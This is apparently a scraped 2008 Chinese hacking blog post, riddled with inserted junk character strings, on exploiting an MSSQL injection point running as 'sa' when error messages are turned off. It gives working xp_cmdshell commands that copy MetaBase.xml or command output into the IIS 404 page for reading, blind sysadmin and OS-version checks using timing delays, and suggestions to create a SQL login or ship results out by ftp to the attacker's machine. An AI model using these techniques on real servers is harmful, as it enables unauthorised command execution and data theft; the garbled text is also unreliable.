遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。0 d- k& H; e6 u7 d' c
2 X9 h; s6 M. ?+ N5 B; L ?
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
, P! Q. i( W: Z
, ~ {% Q4 z1 \% ~3 r' r/ g; m& n 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。0 {0 x) q) n, @/ d
' i X" h2 a1 [% m! ] IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
/ p9 i K* J c; e+ N: v! T1 V/ C# S0 d E) \# U3 E
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
3 h7 a+ ]# S [" a/ g
5 d! n4 s9 e7 u- {" i' d ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。& y4 i7 j6 Z& f# T
7 I4 x! h3 f8 G
执行命令得到回显8 k) W' H7 ^) }* @' V
/ f" n7 J8 g& g$ e# X' V% v9 i 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--0 Y( Z) s- h0 i( Z; H
7 |& V3 F, M: T' A& n
得到文件也shi相同,把文件copy到404b.htm就行了( {& R- r& ]3 M; ~. R3 T
, o; {4 E& H1 J) t" b* x/ O- i4 A by 28ice, 2008/6/26
: ]. D& m9 {! ]& b7 l6 m G- m: H+ i% R
摘自 28度的冰
; ~5 D! t9 s8 m8 [ i) B) f# X' M x9 y1 A: L; K! {0 `* t9 ~0 v
盲注判断权限和操作系统版本
f: @4 \) I7 `, m6 w: e9 w6 a3 `& C% X, W& e
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
$ x; v' e& Y/ n' v! D2 C9 v! M' c( U1 s6 _% V3 E8 W
最简单的,可能以用这样的方法:1 _2 [9 Y( Z. T- h7 s
$ i1 A* \/ i3 s r. i
1=(select IS_SRVROLEMEMBER(’sysadmin’))
( E, f8 n: s. T" E- s
& }, n# s2 y8 g+ ?1 l5 H( k" ? 当然,有些情况下,这个方法并不奏效。
6 Q+ n- U/ o, Q8 Z. G# G G9 U" G+ Z! `3 C* ~/ S" ]4 e+ U
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
. V$ J% [* N% m% ~/ i
# L7 Z" T3 q! } 有个3办法可能以解决这个问题5 U9 Y X2 A" H9 R
3 a& T* f/ R. b5 U% v4 g a.把执行结果写到404b.htm,具体请看我的上一篇文章# U; d5 y- \3 r8 d
B" o% T0 }6 Y' A9 s. s b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟# }2 N( k* M( o$ E; s5 ?0 D
8 x! c- g) Y5 U$ S3 p9 L$ s: n
c.如果1433端口可能以连接,那干脆新建个sql登录
. G' w% u$ C0 y. Z- ?. j9 j: ~" C4 b, w) ? G; M1 O
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
7 ^" _1 o- O* g o4 D
, m+ D H5 v8 Y& e. D 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下, r$ K+ @ N# S! m
6 x/ ^ S4 Q& a3 A* } 很简单8 r! T* U8 T7 r4 G( |- @, Y% e
3 `" H5 Q0 W7 \" e
执行systeminfo
! Z0 J/ U% j- e z+ m% S% ?" m
& D( ~0 i; z0 ?: Z1 Y& b# I# i+ \ 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |